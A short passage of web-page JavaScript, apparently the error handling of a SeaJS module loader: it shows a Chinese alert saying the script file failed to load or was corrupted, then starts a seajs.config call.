alert('js文件不完整,请查看浏览器控制台和服务器配置是否正常。或检查文件是否被修改(或咨询主机商压缩js导致文件损坏);[js load error!]'); } },1000); seajs.config({